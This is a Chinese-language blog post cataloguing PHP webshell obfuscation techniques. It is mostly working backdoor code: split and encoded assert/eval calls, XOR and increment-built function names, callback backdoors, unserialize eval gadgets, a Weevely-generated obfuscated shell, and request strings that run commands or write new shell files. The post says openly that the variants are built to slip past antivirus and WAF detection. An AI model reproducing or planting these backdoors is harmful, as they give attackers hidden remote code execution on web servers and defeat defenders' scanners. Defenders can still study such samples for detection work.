php——webshell变形总结
技术点 | 具体手法 | 样本 |
---|---|---|
巧用$GPC |
利用$GLOBALS |
@eval($GLOBALS['_POST']['cmd']); |
利用$_FILE | @eval($_FILE['name']); | |
关键字替换 |
敏感函数拆分 | $k="ass"."ert"; $k(${"_PO"."ST"} ['cmd']); |
function func() { return "ass"."ert"; } $a = func(); $a(${"_PO"."ST"}['cmd']); |
||
/** * eva * l($_GE * T["c"]); * asse * rt */ class TestClass { } $rc = new ReflectionClass('TestClass'); $str = $rc->getDocComment(); $evf=substr($str,strpos($str,'e'),3); $evf=$evf.substr($str,strpos($str,'l'),6); $evf=$evf.substr($str,strpos($str,'T'),8); $fu=substr($str,strpos($str,'as'),4); $fu=$fu.substr($str,strpos($str,'r'),2); $fu($evf); |
||
空格替换&字符串替换 |
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));?> | |
function func() { return "ass"."ert"; |
||
字符串&数组的方式 |
$sF = "PCT4BA6ODSE_"; $s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]); $s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9']; if (isset($s22)) { eval($s21($s22)); } |
|
特殊字符 | 进制运算 |
@$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST @${$__}[!$_](${$__}[$_]); //0=assert&1=phpinfo(); |
$__=('>'>'<')+('>'>'<'); $____=''; $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; |
||
自增运算 |
$_=[]; $____='_'; $_=$$____; |
|
利用注释 |
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7 |
|
异或运算&字符编码 | 以GBK的方式保存 |
$y=~督耽孩^'(1987)'; $y($_POST[1987]); |
以ISO-8859-15保存 |
$x=~Ÿ¬¬º«; $x($_POST[~¹¹ÏÏÏÏ]); |
|
位运算符 |
<?php ${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))]); ?> // shell.php?k=assert POST k=phpinfo(); |
|
编码 | gzinflate+base64 |
<?php eval(gzinflate(base64_decode('........')?> |
进制转换 |
$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"; @eval($v230c590(..... |
|
$liner = "pr"."e"."g_"."re"."p"."l"."ace"; $liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code); |
||
反序列化执行 |
class foo{ public $data="text"; function __destruct() { eval($this->data); } } $file_name=$_GET['id']; unserialize($file_name); |
|
结合动态函数 |
class foo{ $a = $this->data1; |
|
回调函数 | create_function的变形 | $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function(); |
$function = create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=')); $function(); |
||
preg_replace变形 |
@$a = $_POST['x']; if (isset($a)) { @preg_replace("/\[(.*)\]/e", '\\1', base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')); } |
|
function funfunc($str) {} echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]); |
||
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); echo preg_filter('|.*|e', $_REQUEST['pass'], ''); |
||
<?php $subject='any_thing_you_can_write'; $pattern="/^.*$/e"; $payload='cGhwaW5mbygpOw=='; //cGhwaW5mbygpOw==: "phpinfo();" $replacement=pack('H*', '406576616c286261736536345f6465636f646528')."\"$payload\"))"; //406576616c286261736536345f6465636f646528:"eval(base64_decode("; preg_replace($pattern, $replacement , $subject); ?> |
||
动态函数执行 |
$dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument); |
|
call_user_func |
call_user_func('assert', $_REQUEST['pass']); |
|
call_user_func_array('assert', array($_REQUEST['pass'])); |
||
array_filter |
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, base64_decode($e)); |
|
array_map |
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map(base64_decode($e), $arr); |
|
uksort // 5.4.8+ |
<?php $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, base64_decode($e)); |
|
<?php $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e); |
||
<?php |
||
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert'); |
||
array_reduce |
<?php $e = $_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['pass']); |
|
array_udiff |
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e); |
|
array_walk |
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk($arr, $e, ''); |
|
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, ''); |
||
preg_filter |
<?php echo preg_filter('|.*|e', $_REQUEST['pass'], ''); |
|
mb_ereg_replace |
<?php mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); |
|
// 无回显 |
<?php ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush(); |
|
单参数回调 |
<?php $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']); |
|
<?php $e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['pass']); |
||
<?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))); |
||
数据库操作与第三方库中的回调后门 |
<?php $e = $_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass'])); |
|
<?php $e = $_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt→execute(); // php5.3以上 |
||
<?php $str = urlencode($_REQUEST['pass']); $yaml = <<<EOD greeting: !{$str} "|.+|e" EOD; $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace')); |
||
<?php $mem = new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_REQUEST['pass'], 11211, 0); |
||
其他参数型回调后门 |
<?php preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']); |
|
<?php mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']); |
||
<?php $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);')); foreach ($iterator as $item) { echo $item; } |
||
利用文件名&注释 | 巧用文件名 |
no_assert.php <?php |
$_POST[cmd].php <?php |
||
自定义函数 | 十六进制执行 |
$string=''; $password='test'; if(isset($_POST[$password])){ $hex=$_POST[$password]; for($i=0;$i<strlen($hex)-1;$i+=2){ $string.=chr(hexdec($hex[$i].$hex[$i+1])); } @eval($string); |
自定义加密 |
function decode($string) { $result = ''; for($index=0;$index<strlen($string);$index += 1) { $result .= chr(ord($string[$index])-3); } return $result; } $b = create_function('',decode("Chydo+'bSRVW^fpg`,>")); $b(); |
|
反射技术 |
$func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); |
|
文件加密 | 混淆加密 |
$M_='TcynUS2Dj'|Xtt1C5;$xPAsA3='|L#K1)'^'=`'.tosl;$ps6U8r2u='S R'|'Z @';'F_fTJ4U3M'. ')u(<I9';$ots8zM7=wwugn.'~'&outg."~~";$CqHZRjrpv='om~}ov'&'owv}~w';$pmak=/*OYR'. 'HF]mwSAu~*/oZD5t.'-'.TouvRdijg|'M at~`K*$jqr!-)';$Nkm4DL=wwoiuw_o.#jDj9F8qWCU'. '}og~oo~'&ssoyww_vw.'~'.wtoo.'~';$sSZ1ZTtXOI='J~DQ}e'&iUTZ.']C';$enZB='wfq/Wc<'. '.g!17}x`[email protected]#1g)=a=79'.mc56&"!|7".aLxt2a."{y#93V7;;C;~m uO3;q;{v2";'gyxK39Xu1'. ':i^';$woW8PBSb_J='?g~v$z~a,w'&'vo?.us|{4k';$hefSTat73='ko7|;uw?'&'S}w?'./*Usx'. '>XUb.*/wuuo;$H31KYF='-(Y%;[email protected]'|'-(|[email protected]';$oRzY9cesWL=BrvDsY^'cS=p2;';'djCAxk'. 'zX~lO=:nK5';$jKRFmGwxTPb='sl[GUs'^'6(#%~)';$cQZ75FbYVQT=':(&.'.Z5qdh^/*KudDMp'. 'LtxJEC*/bkcTlp7.'$)';$ZNh7cpA=J^'+';$VRcphf2Y1='+'|K;$fXLKDzG='(C'^'M;';'dHaM'. ']9|ds5tbb';$I5Hmeo7gVJ=E^",";$mwo7=w&t;$TvUYRhtThs="^".TVW_."|_]".u__CURu./*j'. 'l*/"{H"&"Iv|".x_Z_UZ_wyRq_Wz;$ypaVtIfRO=']'.SEBTRE|WPEAUR.'@';$TegpU9P5=('3Zw'. 'g/5'&'zx-G/w')^$xPAsA3;$rM36yFVDxOo=('$Df'|'6Dc')^$ps6U8r2u;$iG7yrwzXUiW=/*cL'. 'srxQMMk*/$ots8zM7&$CqHZRjrpv;$qioLnlc=('7w,c/"YQ#a`p'^'[email protected]'.IeimeU48)^(',E"!'. '!!TH(E",'|'.D()95EL*T5-');$Pl=$pmak&$Nkm4DL;$rF0oYXqV9=('[email protected]@'|'[email protected]@')|/*'. 'f*/$sSZ1ZTtXOI;$hLZSKz9=("||=6".tB5s."#;(7i}%-d2|".r6O67a."!h-:j0&"&'4&2=)f5;'. '%}ev:2%9*5'.ebteyl.',g61<E#s')|$enZB;$Z61ppy=$ZNh7cpA&$VRcphf2Y1;$ZHU=/*fE9Yr'. '7q?{!W*/$woW8PBSb_J&('?'.qldtjo.'</w'&'-'.snkdo.'?yoo');$PhcCKxq=/*XeLXi26ULV'. 'pri*/$hefSTat73^$H31KYF;$emJm_U=$oRzY9cesWL^$jKRFmGwxTPb;$FTGoqvnK=/*a5xj88EI'. 'n(am7*/$cQZ75FbYVQT|('5;]+`'.lexH^'}k8{DLK:-');if($TegpU9P5($rM36yFVDxOo(/*TA'. '(^q.4;*/$iG7yrwzXUiW($rF0oYXqV9)),$hLZSKz9))$qioLnlc(('{/Z_'^'TNu:'),/*qwCzim'. 'JQ7+5)JTBF*/$fXLKDzG.$I5Hmeo7gVJ.$mwo7,$Z61ppy);$yX4gTiSd=$Pl($ZHU,/*BtAiX0w8'. '7*LALb~*/$iG7yrwzXUiW($TvUYRhtThs.$ypaVtIfRO));$yX4gTiSd($PhcCKxq,$emJm_U,/*p'. '}R*/$FTGoqvnK);#T)s<k?vZ%Nx[VsvNLg<sQ8KlP!D{*nm306rhxT95kZ5CMe=YJ*V3cTstah.t'. 'HD PDe:F{4#Wplm 1BLh0FD7*@?;aZJQnFF1$zR'; |
Weevely |
$L='O=$_SERVE9OR;[email protected]$r["H9OTTP_9OREFERER9O"];[email protected]$r["H9OTT9OP_9O9OACCEPT_LANGUAGE"]9O;if($9O9Orr&&$ra'; $b='art();@ev9Oal(@9Ogzu9Oncompres9Os(@x([email protected]_decode(9Opre9Og_repla9O9Oce9O(arra9Oy("/_/","/-/"),a'; $h='$z+9O+)$p.9O=$q[$m[2][9O$z]];if(strpos(9O$p,9O$9Oh)===09O){$s[$i]=""9O;$p=$ss(9O9O$p,3);}if9O(array_k'; $P='ey9O_exi9Osts($i,9O$s))9O{$s[$i]9O.9O=$p;$e=strp9Oo9Os($s[9O$i],$f);if($9Oe){$9Ok=$kh.$kf;9Oo9Ob_s9Ot'; $y='($i.$kh),0,39O));9O$f=$9Osl($ss(m9Od5($i9O.$kf),9O0,39O));$p="";for(9O$z9O=1;9O$9Oz<9Ocount($m[1])9O;'; $z='rray("/"9O,"9O+"9O),$9Oss($s[$i],0,$e))9O),9O$9Ok)));$o=9Oob_get_content9Os();9Oob_en9Od_clean()9O9O;$d=ba'; $r='$kh="dff9Of"9O;$9Okf=9O"09Oa7f";function x($t,$k9O)9O{$c=9Ostrlen($k9O)9O;$l9O=strlen($t);$9Oo="";for9O($i'; $G='){$u=p9Oar9Ose_url9O($rr9O);parse_str9O($u["query9O9O"],$q);$9Oq=array_v9O9Oalues(9O$q);preg9O_match_a9O'; $T=str_replace('Ul','','crUleUlate_UlfUluUlnUlction'); $v='=9O0;$i<$l;){fo9Or($j=09O;($j<$c9O&9O&$i<$l9O);$j++,$i++9O){$o9O.9O=$t{$i}^9O$k{$j};}}9Oreturn 9O$o;}$r9'; $Q='se9O64_encode9O(x(gz9Ocompres9Os($o),$9Ok));pr9Oint(9O9O"<$k>$d</$9Ok>");@sess9Oi9Oon_de9Ostroy();}}}}'; $k='=&$_SES9OSION9O;9O$ss="su9Obstr"9O;$sl="strtol9Oower";$i9O9O9O=$m[1][0].$m[19O][1];$h=$sl9O($9Oss(m9Od5'; $o='ll("/9O([\\w])[\\w9O-]9O+(?:;9Oq=09O.([\\d9O]))?,?/",9O$ra,9O$m);if($q9O&&9O$m){@sessio9On_sta9Ort();$9Os'; $t=str_replace('9O','',$r.$v.$L.$G.$o.$k.$y.$h.$P.$b.$z.$Q); $C=$T('',$t);$C(); |
|
多态、 // 只有匹配条件时才会进入真正的执行路径。 |
<?php if($_REQUEST["code"]==pany) { echo str_rot13('riny($_CBFG[pzq]);'); eval(str_rot13('riny($_CBFG[pzq]);')); } else { $url= $_SERVER['PHP_SELF']; $filename= end(explode('/',$url)); $content= 'helloworld'; $fp= fopen ("$filename","w"); if (fwrite ($fp, $content)) {fclose ($fp); die ("error"); } else { fclose ($fp); die ("good"); } exit;} ?> |
动态函数
<?php $_GET[function]($_GET[cmd]); ?>
?function=assert&cmd=${fputs(fopen(base64_decode(Y21kLnBocA==),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))
巧用$GPC
@eval($GLOBALS['_POST']['cmd']);@eval($_FILE['name']);
关键字替换,拆分
$k="ass"."ert"; $k(${"_PO"."ST"} ['cmd']);
function func() {return "ass"."ert";
}
$a = func();
$a(${"_PO"."ST"}['cmd']);
空格替换&字符串替换 首先将关键函数进行倒转和空格,之后利用strrev和str_replace恢复。
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));?>
function func() {
return "ass"."ert";
}
$a = func();
$b=strrev("edoced_4"."6esab"); $a($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));
/**
* eva
* l($_GE
* T["c"]);
* asse
* rt
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();
$evf=substr($str,strpos($str,'e'),3);
$evf=$evf.substr($str,strpos($str,'l'),6);
$evf=$evf.substr($str,strpos($str,'T'),8);
$fu=substr($str,strpos($str,'as'),4);
$fu=$fu.substr($str,strpos($str,'r'),2);
$fu($evf);
特殊字符
- 进制运算
@$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST@${$__}[!$_](${$__}[$_]); //0=assert&1=phpinfo();
$__=('>'>'<')+('>'>'<');
$_=$__/$__;$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;
$____($_[$__]); //_POST[2]
- 自增运算 因为在PHP中,'a'++ => 'b','b'++ => 'c',所以我们如果得到了其中的一个字母,通过这个字符就可以得到所有的字母。通过$_=[];[email protected]"$_";;得到$_为Array的字符串,那么就可以得到所有的字符串了。
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
可参考不包含字母和数字的webshell
- 利用注释 通过特色符号和注释组合组成一个webshell,也能够隐藏关键字。
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7
异或运算&字符编码
这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。在特定的编码情况下,一些字符串经过异或运算就能够得到一些特定的函数,这些函数就可以用于构造webshell。
$y=~督耽孩^'(1987)';
$y($_POST[1987]);
上述的代码需要以GBK的方式保存,其中的$y的值为assert,这样就是一个典型的webshell了。
$x=~Ÿ¬¬º«;
$x($_POST[~¹¹ÏÏÏÏ]);
上述的代码需要以ISO-8859-15保存,其中的$x为assert,而~¹¹ÏÏÏÏ是FF0000。
eval&base64_decode变形
- 字符串&数组的方式 这种方式一般都是先声明字符串,之后通过从字符串中进行取值,得到所需要的敏感函数。
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
eval($s21($s22));
}
通过字符串PCT4BA6ODSE_得到,$s21为base64_decode,$s22为${"_POST"}['n985de9'],所以这种方式最后的代码其实就是eval(base64_decode($_POST['n985de9']));
- 进制转换
$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(.....
其中$v230c590就是base64_decode,通过十六进制和八进制混用的方式代替base64_decode。还有如下这种形式
$liner = "pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code);
其中\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28其实为eval(gzuncompress(base64_decode(也达到了隐藏敏感函数的目的。
反序列化执行
class foo{
public $data="text";
function __destruct()
{eval($this->data);
}
}
$file_name=$_GET['id'];
unserialize($file_name);
我们需要在本地构造序列化的数据。构造好了之后,通过?id=O:3:"foo":1:{s:4:"data";s:10:"phpinfo();";},这样就能够执行phpinfo();命令了
class foo{
public $data1="text";
public $data2="text";
function __destruct()
{$a = $this->data1;
$a($this->data2);
}
}
$file_name=$_GET['id'];
unserialize($file_name);
?id=O:3:"foo":2:{s:5:"data1";s:6:"assert";s:5:"data2";s:10:"phpinfo();";}
回调函数
PHP中的回调函数非常之多,所以通过回调函数执行Webshell的方式也非常的多。最常见的回调函数的写法就是$ant=create_function("","eval($_POST[cmd]);");$ant();。目前的回调函数方法变形一般都是通过其他的不常见的回调函数以及变换关键代码。
- create_function的变形
$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');
$function();
$function = create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs='));
$function();
- preg_replace变形
@$a = $_POST['x'];
if (isset($a)) {
@preg_replace("/\[(.*)\]/e", '\\1', base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
通过base64编码将关键代码隐藏。解码为 [@eval(base64_decode($_POST[z0]));]
function funfunc($str) {}
echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]);
这种方式其实还利用了PHP中的可变变量能够执行代码的特点。通过cmd=<title>${@eval($_POST[xxx])}</title>&xxx=phpinfo();这种方式就可以执行任意的代码了。
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
在PHP中这种动态函数是非常多的,除了上述说的create_function,preg_replace,还有诸如call_user_func、 call_user_func_array。还可以利用一些不常见的回调函数,如array_map、array_filter、array_reduce、array_udiff这种方式,还有很多其他的回调函数可供使用。可参考 创造tips的秘籍——PHP回调后门。
利用文件名&注释
一般情况下,防护软件在检测Webshell时一般都会忽略掉文件名和文件中的注释,那么我们就可以在文件名和注释中放入敏感函数。
- no_assert.php
<?php
${"function"}=substr(__FILE__,-10,-4);;
${"command"}=$_POST[cmd];
$function($command);
?>
- $_POST[cmd].php
<?php
${"function"}= substr(__FILE__, -15, -4);
${"config"} = assert;
$config($function);
?>
自定义函数
为了能够逃避防护软件的查杀,很多webshell都会自己编写加密函数或者是字符串转换函数。下面就几个函数进行说明。
- 十六进制执行
$string='';
$password='test';
if(isset($_POST[$password])){
$hex=$_POST[$password];
for($i=0;$i<strlen($hex)-1;$i+=2){
$string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);
只需要将传入的指令变为16进制的字符串即可。shell.php?test=706870696e666f28293b。其中的706870696e666f28293b就是phpinfo();的十六进制,用法和普通的webshell没有区别。
自定义加密
function decode($string) {
$result = '';
for($index=0;$index<strlen($string);$index += 1) {
$result .= chr(ord($string[$index])-3);
}
return $result;
}
$b = create_function('',decode("Chydo+'bSRVW^fpg`,>"));
$b();
这个加密函数十分的简单,仅仅是将字母的ascii值减3而已,算是比较简单的加密算法。 decode("Chydo+'bSRVW^fpg`,>") 得到就是@eval($_POST[cmd]);。
反射技术
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
这种方式调用起来也非常的简单xx.com/shell.php?m=assert&c=phpinfo();和动态函数执行的方式十分的相似。但是目前这种方式已经被各种安全防护软件识别了。
文件加密
- 混淆加密
- 使用加密工具加密
国内的工具还是有很多的,包括phpjm,phpjiami通过测试,即使是最为简单的@eval($_POST[cmd]),经过加密之后还是很多防护软件无法识别出webshell。
- Weevely
weevely是一款使用python编写的webshell工具,Github地址下面就是weevely3生成的朴php 代码:
$L='O=$_SERVE9OR;[email protected]$r["H9OTTP_9OREFERER9O"];[email protected]$r["H9OTT9OP_9O9OACCEPT_LANGUAGE"]9O;if($9O9Orr&&$ra';
$b='art();@ev9Oal(@9Ogzu9Oncompres9Os(@x([email protected]_decode(9Opre9Og_repla9O9Oce9O(arra9Oy("/_/","/-/"),a';
$h='$z+9O+)$p.9O=$q[$m[2][9O$z]];if(strpos(9O$p,9O$9Oh)===09O){$s[$i]=""9O;$p=$ss(9O9O$p,3);}if9O(array_k';
$P='ey9O_exi9Osts($i,9O$s))9O{$s[$i]9O.9O=$p;$e=strp9Oo9Os($s[9O$i],$f);if($9Oe){$9Ok=$kh.$kf;9Oo9Ob_s9Ot';
$y='($i.$kh),0,39O));9O$f=$9Osl($ss(m9Od5($i9O.$kf),9O0,39O));$p="";for(9O$z9O=1;9O$9Oz<9Ocount($m[1])9O;';
$z='rray("/"9O,"9O+"9O),$9Oss($s[$i],0,$e))9O),9O$9Ok)));$o=9Oob_get_content9Os();9Oob_en9Od_clean()9O9O;$d=ba';
$r='$kh="dff9Of"9O;$9Okf=9O"09Oa7f";function x($t,$k9O)9O{$c=9Ostrlen($k9O)9O;$l9O=strlen($t);$9Oo="";for9O($i';
$G='){$u=p9Oar9Ose_url9O($rr9O);parse_str9O($u["query9O9O"],$q);$9Oq=array_v9O9Oalues(9O$q);preg9O_match_a9O';
$T=str_replace('Ul','','crUleUlate_UlfUluUlnUlction');
$v='=9O0;$i<$l;){fo9Or($j=09O;($j<$c9O&9O&$i<$l9O);$j++,$i++9O){$o9O.9O=$t{$i}^9O$k{$j};}}9Oreturn 9O$o;}$r9';
$Q='se9O64_encode9O(x(gz9Ocompres9Os($o),$9Ok));pr9Oint(9O9O"<$k>$d</$9Ok>");@sess9Oi9Oon_de9Ostroy();}}}}';
$k='=&$_SES9OSION9O;9O$ss="su9Obstr"9O;$sl="strtol9Oower";$i9O9O9O=$m[1][0].$m[19O][1];$h=$sl9O($9Oss(m9Od5';
$o='ll("/9O([\\w])[\\w9O-]9O+(?:;9Oq=09O.([\\d9O]))?,?/",9O$ra,9O$m);if($q9O&&9O$m){@sessio9On_sta9Ort();$9Os';
$t=str_replace('9O','',$r.$v.$L.$G.$o.$k.$y.$h.$P.$b.$z.$Q);
$C=$T('',$t);$C();
参考
1 【PHP】WEBSHELL各类变形方法总结 - 云+社区 - 腾讯云
2 浅谈变形PHP WEBSHELL检测 - 博客 - 腾讯安全应急响应中心
php——webshell变形总结相关推荐
- PHP一句话木马Webshell变形免杀总结
0×00 前言 大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不 ...
- Deformity ASP/ASPX Webshell、Webshell Hidden Learning
catalog 0. Active Server Page(ASP) 1. ASP.NET 2. ASP WEBSHELL变形方式 3. ASPX WEBSHELL变形方式 4. webshell中常 ...
- webshell分析与查杀
